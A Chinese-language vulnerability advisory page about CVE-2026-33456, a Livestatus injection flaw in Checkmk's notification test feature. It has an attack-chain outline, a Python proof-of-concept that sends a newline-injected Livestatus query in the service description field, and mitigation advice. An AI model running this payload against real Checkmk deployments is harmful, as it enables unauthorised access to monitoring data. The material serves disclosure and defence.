IPBUF安全漏洞报告
English
CVE-2026-33456 CVSS 7.6 高危

CVE-2026-33456 Checkmk Livestatus注入漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-33456
漏洞类型
Livestatus注入
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Checkmk

相关标签

CVE-2026-33456CheckmkLivestatus注入命令注入高危漏洞监控软件

漏洞概述

Checkmk是一款广泛使用的IT监控工具。该漏洞存在于Checkmk的通知测试模式中,影响了2.5.0b4之前和2.4.0p26之前的版本。由于未对用户输入进行充分过滤,拥有低权限的攻击者可以通过构造恶意的服务描述,在通知测试页面注入任意Livestatus命令。成功利用该漏洞可能导致敏感信息泄露、数据篡改,甚至因可用性影响导致服务中断。

技术细节

Checkmk使用Livestatus协议与监控核心进行交互以获取实时状态数据。漏洞的根本原因在于通知测试功能对“服务描述”字段的处理逻辑缺失了必要的输入验证。当经过身份认证的低权限用户访问通知测试页面时,系统会将用户输入的服务描述直接拼接到Livestatus查询请求中。攻击者可以利用换行符等特殊字符注入恶意的Livestatus命令(如查询其他主机信息或执行特定操作)。由于该端点需要认证,攻击难度较低但危害较高,注入的命令将在后端以当前进程权限执行,导致机密性、完整性受损及潜在的服务拒绝。

攻击链分析

STEP 1
信息收集
侦察目标网络,识别运行Checkmk服务的服务器,并确定其版本是否在受影响范围内。
STEP 2
获取凭证
攻击者通过钓鱼、撞库或利用其他低危漏洞获取一个普通用户账号(低权限)。
STEP 3
访问漏洞点
使用获取的凭证登录Checkmk Web界面,导航至通知测试页面。
STEP 4
注入Payload
在通知测试表单的“服务描述”字段中输入包含换行符和Livestatus命令的恶意字符串。
STEP 5
执行命令
提交表单后,后端将恶意指令传递给Livestatus socket执行,返回敏感数据或破坏系统状态。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_checkmk(target_url, username, password): """ PoC for CVE-2026-33456: Livestatus Injection in Checkmk Notification Test. """ session = requests.Session() # Step 1: Authenticate (Simplified) login_url = f"{target_url}/check_mk/login.py" login_data = {'_username': username, '_password': password, '_login': '1'} session.post(login_url, data=login_data) # Step 2: Craft malicious payload # Injecting a Livestatus query to list all hosts # The newline character is key to breaking out of the intended context malicious_service_desc = "LegitimateService\nGET hosts\nColumns: name address\nOutputFormat: json\n" # Step 3: Send request to notification test endpoint # URL structure might vary based on Checkmk version exploit_url = f"{target_url}/checkmk/notifications_test.py" payload = { 'service_description': malicious_service_desc, 'mode': 'test', # other required fields... } response = session.post(exploit_url, data=payload) if response.status_code == 200: print("[+] Request sent successfully. Check response for injected data.") print(response.text) else: print("[-] Exploit failed") if __name__ == "__main__": # Replace with actual target details exploit_checkmk("http://localhost", "user", "pass")

影响范围

Checkmk < 2.5.0b4
Checkmk < 2.4.0p26

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用通知测试功能或通过网络策略限制对相关URL的访问。管理员应检查系统日志中是否存在异常的服务描述输入记录,并审查Livestatus的查询日志以发现潜在的利用尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表